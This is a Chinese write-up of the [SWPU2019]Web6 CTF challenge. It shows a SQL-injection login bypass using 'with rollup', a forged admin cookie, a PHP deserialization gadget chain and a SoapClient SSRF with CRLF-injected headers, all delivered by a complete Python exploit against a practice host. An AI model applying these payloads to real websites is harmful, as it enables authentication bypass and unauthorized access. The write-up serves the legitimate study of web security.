知识点:SQL注入中的with rollup、SoapClient 和 Soapserver

登录分析

先用万能密码测试一波,显示密码错误,那么判断点极有可能是在 password 上。

' or 1=1#
1
loginSELECT * FROM users WHERE username='' or 1=1#' and passwd='1'Wrong password

但是不管怎么式都没成功,看了大佬的 wp,猜测后台判断逻辑,然后用 with rollup绕过,又是一种没见过的姿势,先学一波。

后台判断逻辑:
$sql="select * from users where username='$name' and passwd='$pass'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query);if($key['passwd'] == $_POST['passwd']) {

先简单介绍一下 with rollup 是什么:

实现在分组统计数据基础上再进行相同的统计

在本地测试可以清晰的看出,如果不对数据进行一些例如:计数,求和之类的操作,直接 group by ... with rollup,就会返回空。

mysql> SELECT * FROM employee_tbl;
+----+------+---------------------+--------+
| id | name | date                | signin |
+----+------+---------------------+--------+
|  1 | 小明 | 2016-04-22 15:25:33 |      1 |
|  2 | 小王 | 2016-04-20 15:25:47 |      3 |
|  3 | 小丽 | 2016-04-19 15:26:02 |      2 |
|  4 | 小王 | 2016-04-07 15:26:14 |      4 |
|  5 | 小明 | 2016-04-11 15:26:40 |      4 |
|  6 | 小明 | 2016-04-04 15:26:54 |      2 |
+----+------+---------------------+--------+
6 rows in set (0.03 sec)mysql> SELECT name, COUNT(*) FROM   employee_tbl GROUP BY name;
+------+----------+
| name | COUNT(*) |
+------+----------+
| 小丽 |        1 |
| 小明 |        3 |
| 小王 |        2 |
+------+----------+
3 rows in set (0.03 sec)mysql> SELECT name, sum(signin) as signin_count FROM   employee_tbl GROUP BY name with rollup;
+------+--------------+
| name | signin_count |
+------+--------------+
| 小丽 | 2            |
| 小明 | 7            |
| 小王 | 7            |
| NULL | 16           |
+------+--------------+
4 rows in set (0.04 sec)mysql> SELECT name, count(*) as signin_count FROM   employee_tbl GROUP BY name with rollup;
+------+--------------+
| name | signin_count |
+------+--------------+
| 小丽 |            1 |
| 小明 |            3 |
| 小王 |            2 |
| NULL |            6 |
+------+--------------+
4 rows in set (0.04 sec)mysql> SELECT name, signin FROM employee_tbl GROUP BY name,signin with rollup;
+------+--------+
| name | signin |
+------+--------+
| 小丽 |      2 |
| 小丽 | NULL   |
| 小明 |      1 |
| 小明 |      2 |
| 小明 |      4 |
| 小明 | NULL   |
| 小王 |      3 |
| 小王 |      4 |
| 小王 | NULL   |
| NULL | NULL   |
+------+--------+
10 rows in set (0.06 sec)mysql> SELECT name, count(signin) FROM employee_tbl GROUP BY name,signin with rollup;
+------+---------------+
| name | count(signin) |
+------+---------------+
| 小丽 |             1 |
| 小丽 |             1 |
| 小明 |             1 |
| 小明 |             1 |
| 小明 |             1 |
| 小明 |             3 |
| 小王 |             1 |
| 小王 |             1 |
| 小王 |             2 |
| NULL |             6 |
+------+---------------+
10 rows in set (0.05 sec)

那么我们只要返回空的那一列,登录时密码为空就可以登录。
limit 过滤了,可以用 having 代替。

payload:

1' or '1'='1' group by passwd with rollup having passwd is NULL#
密码为空

能成功也就是说 users 表,要么只有一列且列名是 passwd,或者是非标准格式。

信息收集

提示有:wsdl.php,但是我并没有找到。
内容是个 xml 格式的数据,文件的名字和传参全在里面。

可以通过 File_read 读源码,且在 hint 中也提示了几个文件,且 get_flag 需要 127.0.0.1访问,那么可能会是 ssrf


hint:
a few file may be helpful index.php Service.php interface.php se.php

密钥

keyaaaaaaaasdfsaf.txt:flag{this_is_false_flag}

getflag

访问 get_flag 的时候,显示要 admin,且是 127.0.0.1 才行,说明要以 admin 访问且地址是 127.0.0.1 。

在 index.php 中调用了 encode.php,那么我们先写个解密脚本。

<?php
function en_crypt($content,$key){$key    =    md5($key);$h      =    0;$length    =    strlen($content);$swpuctf      =    strlen($key);$varch   =    '';for ($j = 0; $j < $length; $j++){if ($h == $swpuctf){$h = 0;}$varch .= $key{$h};$h++;}$swpu  =  '';for ($j = 0; $j < $length; $j++){$swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);}return base64_encode($swpu);
}

decode.php

<?php
function de_crypt($swup,$key){$swup = base64_decode($swup);$key    =    md5($key);$h      =    0;$length    =    strlen($swup);$swpuctf      =    strlen($key);$varch   =    '';for ($j = 0; $j < $length; $j++){if ($h == $swpuctf){$h = 0;}$varch .= $key{$h};$h++;}for($j = 0;$j < $length; $j++){if(ord($swup{$j}) > ord($varch{$j})){echo chr(ord($swup{$j}) - ord($varch{$j}));}else{echo chr(ord($varch{$j})+256-ord($swup{$j}));}}
}de_crypt("3J6Roahxag==", "flag{this_is_false_flag}");
//xiaoC:2
?>

那我们伪造个 admin,en_crypt('admin:1','flag{this_is_false_flag}');

测试,修改用户成功。

根据 se.php 构造个利用链。

bb::mod1 => aa::_call=> aa::_get(由$this->{$name=test2}触发)->mod2[test2]=cc=> aa::_call->s1()->cc()=> cc::_invoke->mod1=> ee::_toString(str1=ee,str2=getflag)=> dd::getflag

poc:

<?php
ini_set('session.serialize_handler', 'php');
class aa
{public $mod1;public $mod2;
}class bb
{public $mod1;public $mod2;
}class cc
{public $mod1;public $mod2;public $mod3;
}class dd
{public $name;public $flag;public $b;}
class ee
{public $str1;public $str2;
}
$b = new bb();
$a = new aa();
$b->mod1 = $a;$c = new cc();
$a->mod2['test2'] = $c;$e = new ee();
$c->mod1 = $e;
$d = new dd();
$e->str1 = $d;
$e->str2 = 'getflag';$d->flag = '';
$d->b = '';echo serialize($b);

那么怎么利用呢,call_user_func 的第二个参数是个数组,所以不能直接 rce,那么我们可以令 $d->b='call_user_func',令 array(reset($_SESSION),$this->flag); 可以调用 serverget_flag 方法。

可以通过反序列化 SoapClient 类,令 location 指向 interface.php 即服务端,因为服务端的 setClassService 类,而Get_flag 方法在 Service 类中,最后我们通过 call_user_func 调用 SoapClient类的 Get_flag 方法即调用了Service 类的Get_flag 方法。

<?php
$a = new SoapClient(null,array('user_agent'=>'succ3^^X-Forwarded-For: 127.0.0.1^^Cookie: user=xZmdm9NxaQ==^^Content-Type:application/x-www-form-urlencoded','uri'=>'bbb', 'location'=>'http://127.0.0.1/interface.php'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo '|'.urlencode($b);

最后我们把我们 SoapClient 的反序列化写入session,通过 se.php 传入我们的 poc,调用 session。

$d->flag = 'get_flag';
$d->b = 'call_user_func';

exp

import requests
from urllib import parse
url = 'http://25b0ba10-b9fc-4f12-b7c8-44262ff9a28e.node4.buuoj.cn:81/index.php'
data = {'PHP_SESSION_UPLOAD_PROGRESS':parse.unquote("|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A30%3A%22http%3A%2F%2F127.0.0.1%2Finterface.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A108%3A%22succ3%0D%0AX-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+user%3DxZmdm9NxaQ%3D%3D%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D")
}
files = [('file', ('1.txt', b'a' * 40960, 'text/plain')),]cookie = {'PHPSESSID':'succ3'
}
req_session = requests.post(url,cookies=cookie,data=data,files=files)url = 'http://25b0ba10-b9fc-4f12-b7c8-44262ff9a28e.node4.buuoj.cn:81/se.php'cookie = {'PHPSESSID':'succ3',
}data = {'aa':'O:2:"bb":2:{s:4:"mod1";O:2:"aa":2:{s:4:"mod1";N;s:4:"mod2";a:1:{s:5:"test2";O:2:"cc":3:{s:4:"mod1";O:2:"ee":2:{s:4:"str1";O:2:"dd":3:{s:4:"name";N;s:4:"flag";s:8:"get_flag";s:1:"b";s:14:"call_user_func";}s:4:"str2";s:7:"getflag";}s:4:"mod2";N;s:4:"mod3";N;}}}s:4:"mod2";N;}'
}req_flag = requests.post(url,cookies=cookie,data=data)
print(req_flag.text)

reference

php中soap使用:https://blog.csdn.net/nanshan_hzq/article/details/52814622
PHP使用WSDL格式Soap通信 :https://www.cnblogs.com/hujun1992/p/wsdl.html
wp:https://www.jianshu.com/p/71bc9bdd9882

[SWPU2019]Web6相关推荐

  1. ctfshow-萌新-web6( 利用二进制绕过获取网站敏感信息)

    ctf.show 萌新模块 web6关,这一关的考点是intval()函数转换字符串的特性,以及SQL注入漏洞的绕过方式,源码中过滤了单双引号,or,加减乘除号,叹号,异或,hex,select等关键 ...

  2. Web1.0、Web2.0、Web3.0、Web4.0、Web5.0、Web6.0

    Web是大家所熟知的,百度上的解释为:web(World Wide Web)即全球广域网,也称为万维网,它是一种基于超文本和HTTP的.全球性的.动态交互的.跨平台的分布式图形信息系统. 计算机专业的 ...

  3. BUUCTF:[SWPU2019]Network

    https://buuoj.cn/challenges#[SWPU2019]Network TTL隐写 import binascii with open('attachment.txt','r') ...

  4. BUUCTF:[SWPU2019]神奇的二维码

    题目地址:https://buuoj.cn/challenges#[SWPU2019]%E7%A5%9E%E5%A5%87%E7%9A%84%E4%BA%8C%E7%BB%B4%E7%A0%81 bi ...

  5. BUUCTF:[SWPU2019]你有没有好好看网课?

    题目地址:https://buuoj.cn/challenges#[SWPU2019]%E4%BD%A0%E6%9C%89%E6%B2%A1%E6%9C%89%E5%A5%BD%E5%A5%BD%E7 ...

  6. [SWPU2019]Web1

    [SWPU2019]Web1 尝试注册admin,显示已存在,爆破密码没爆出来 注册一个test账户 登陆 申请发布广告 尝试注入 使用单引号尝试,报错 说明存在注入,尝试万能密码 有过滤,尝试fuz ...

  7. 动态调试——[SWPU2019]ReverseMe

    文章目录 声明 题目 分析 声明 1)该文章部分借鉴于[BUUCTF]Reverse--[SWPU2019]ReverseMe. 2)博主是萌新上路,文中如有不当之处,请各位大佬指出,共同进步,谢谢. ...

  8. BUUCTF Misc [BJDCTF2020]鸡你太美 [BJDCTF2020]一叶障目 [SWPU2019]神奇的二维码 梅花香之苦寒来 [BJDCTF2020]纳尼

    目录 [BJDCTF2020]鸡你太美 [BJDCTF2020]一叶障目 [SWPU2019]神奇的二维码 梅花香之苦寒来 [BJDCTF2020]纳尼 [BJDCTF2020]鸡你太美 下载文件 真 ...

  9. 解析:Web3.0→Web6.0!又将创造什么机遇?

    从去年开始,Web3.0的话题和讨论度,开始呈现爆发式增长,Web3.0的概念也如"病毒式"地在全球流行起来. 在此之前,小编对 Web3.0 最多的理解还停留在"数据所 ...

最新文章

  1. creo JAVA_Creo 4.0二次开发工具框架搭建
  2. 浅谈电量传感器在数据中心的UPS电源中的应用
  3. SVN无法commit解决办法
  4. (转)python3 计算字符串、文件md5值
  5. python word
  6. @ControllerAdvice实现优雅地处理异常
  7. c++ 多线程 垃圾回收器_JavaSE基础代码(3)--JavaSE程序入口,JDK,JRE,JVM垃圾回收器的关系与作用...
  8. 【调试工具】之VIM快捷键
  9. Vmware workstation 安装解压 vmwaretools 提示只读文件
  10. FastDFS存储服务器部署
  11. jsonp 使用选择器
  12. mac excel mysql数据库_macOS系统的Excel从MySQL数据库查询数据的设置方法
  13. 2个抖音工程师搞出新工具,意外风靡字节内部,项目经理用上安静多了,程序员不骗程序员...
  14. APP测试点分析与总结
  15. 汉诺塔//河内塔(Tower of Hanoi)
  16. Jsp+Servlet+Mysql简单的登录
  17. 什么是NAT模式、路由模式
  18. 超越爱因斯坦 ——宇宙是可以理解的
  19. WSDM 2022最佳论文候选:港大提出多行为对比元学习的推荐系统
  20. 一键设置Windows智能卡登录,从此再也不用输入密码

热门文章

  1. 一个测试菜鸟如何成长为测试开发专家
  2. python数据分析可视化实例-Python数据分析与可视化从入门到精通
  3. 数学分析教程(科大)——1.1笔记+习题
  4. python找出主力合约价格_Python实盘交易之期货指数映射主力与“自动换月”
  5. 华硕windows10怎么安装c语言,华硕A550CWIN10换WIN7怎么设置
  6. 爬取网站页面与浏览器显示不一致
  7. 告警数下降10倍,携程实时智能检测平台实践
  8. LAMP环境源码搭建
  9. layout_weight 小白的理解之我的地盘听我的!(二)
  10. 2020年G3(电站锅炉)考试题及G3(电站锅炉)考试报名